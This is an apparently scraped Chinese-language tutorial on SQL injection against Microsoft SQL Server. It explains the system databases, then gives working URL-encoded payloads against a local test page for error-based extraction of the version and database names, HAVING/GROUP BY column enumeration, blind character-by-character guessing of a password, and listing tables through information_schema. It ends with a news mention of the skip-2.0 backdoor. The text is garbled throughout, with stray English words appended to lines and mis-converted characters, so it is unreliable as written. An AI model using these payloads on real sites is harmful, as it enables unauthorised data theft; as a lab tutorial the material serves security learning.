0x01 SQL server基礎php
0x02 基本注入html
SQL server部分版本已被黑客安裝後門,詳情請在文末查看。sql
在學習注入以前,最重要的是要先了解SQL server的具體的東西,才能更好的進行注入操做數據庫
系統庫服務器
master學習
master數據庫控制SQLserver的全部方面,這個數據庫中包含全部的配置信息、用戶登錄信息、當前正在服務器運行中的過程的信息3d
modelcode
model數據庫是創建全部數據庫時的模板,當你創建一個新數據庫時,SQL server會把model數據庫中的全部對象創建一份拷貝並移到新數據庫中,在模板對象被拷貝到新的用戶數據庫以後,該數據庫的全部多餘空間都將被頁面填滿orm
tempdbserver
tempdb數據庫是一個很是特殊的數據庫,供全部來訪問SQL server的用戶使用,這個庫用來保存全部的臨時表、存儲過程和其餘SQLserver創建的臨時用的東西,例如,排序時要用到tempdb數據庫,數據被放進tempdb數據庫,排完序後再把結果返回給用戶。每次SQL server從新啓動,它都會清空tempdb數據庫並重建,永遠不要在tempdb數據庫創建須要永久保存的表
msdb
msdb數據庫是SQLserver中的一個特例,若是你查看這個數據庫的實際定義,會發現它實際上是一個用戶數據庫,不一樣之處是SQLserver拿這個數據庫用來作什麼,全部的任務調度、報警、操做員都存儲在msdb數據庫中,該庫的另外一個功能是用來存儲全部備份歷史,SQL server agent將會使用這個庫
information_schema
information_schema是在SQL server2000及更高版本存在的,能夠檢索數據庫中的對象的元數據,與MySQL中的有相同的功能,它是符合ISO標準的,與sys不一樣,sys是微軟本身搞出來的東西
註釋方法
C語言註釋風格 /* SQL註釋風格 -- 空字節 ;%00
首先咱們先訪問注入網址
http://127.0.0.1/index.php?id=1
這裏咱們模擬的SQL語句是這樣的
$sql= "select * from test where id=".$id;
這裏咱們就先用1=1和1=2來作一個簡單的判斷
而後咱們來嘗試一下查看數據庫版本
經過使用報錯的方式將咱們想要的值給帶出來
http://127.0.0.1/index.php?id=1%20and%201=(select%20@@version)
使用db_name()
來查看數據庫名
http://127.0.0.1/index.php?id=1%20and%201=(select%20db_name())
等等能夠獲取到一些咱們所須要的信息
接下來使用having
字句來獲取當前數據庫的表名和列名
http://127.0.0.1 /index.php?id=1%20having%201=1
而後咱們繼續使用上一個所獲得的值來遞歸獲取全部的名
http://127.0.0.1/index.php?id=1%20group%20by%20test.id%20having%201=1
http://127.0.0.1/index.php?id=1%20group%20by%20test.id,test.name%20having%201=1
http://127.0.0.1/index.php?id=1%20group%20by%20test.id,test.name,test.password%20having%201=1
經過上面這樣的方法,咱們就已經獲得了當前使用的數據庫爲test
,其中的列有id
、name
、password
而後咱們注入password的數據
http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,1,1))%20from%20test)%3E=49
http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,1,1))%20from%20test)%3E=50
能夠知道第一個爲字符1
而後繼續猜解第二個字符
http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,2,1))%20from%20test)%3E=50
http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,2,1))%20from%20test)%3E=51
能夠獲得第二個字符爲2
依此類推獲得最終的結果爲123456
咱們還能夠經過注入獲取到其餘的數據庫名稱
http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases)
可是因爲只能輸出一個字段的內容,因此這裏使用where
語句的not in
來進行獲取
http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases%20where%20%20name%20%20not%20%20in%20%20('master'))
獲得了第二個數據庫model。而後經過這樣的方式繼續日後遍歷
http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases%20where%20%20name%20%20not%20%20in%20%20('master','model'))
繼續遍歷就能夠了
http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases%20where%20%20name%20%20not%20%20in%20%20('master','model','msdb'))
在獲得數據庫test以後,咱們使用information.schema
來獲取數據表
http://127.0.0.1/index.php?id=1%20and%201=(select%20top%201%20table_name%20from%20test.information_schema.tables)
這裏咱們只有一個表,若是有多個表的話,能夠經過以前not in的方法來進行獲取
到這裏咱們就已經知道了數據庫爲test,數據表也爲test
接下來該獲取字段了
http://127.0.0.1/index.php?id=1%20and%201=(select%20top%201%20column_name%20from%20test.information_schema.columns%20where%20table_name%20=%20'test')
而後一樣使用not in的方法能夠遍歷獲得全部的列名
http://127.0.0.1/index.php?id=1%20and%201=(select%20top%201%20column_name%20from%20test.information_schema.columns%20where%20table_name%20=%20'test'%20and%20column_name%20not%20in%20('id'))
以後獲取數據就跟以前的方法是同樣的了
這篇文章只是一個簡單的開頭,至於更多的內容還須要你們來看,最後再給你們提一下剛爆出來的一個上游攻擊的事件,SQL server部分版本已經被黑客組織植入後門程序skip-2.0,在安裝了中招的SQL server以後,能夠容許黑客不進行身份驗證而直接進行登錄。
能夠去FreeBuf瞭解其餘詳情
https://www.freebuf.com/news/217738.html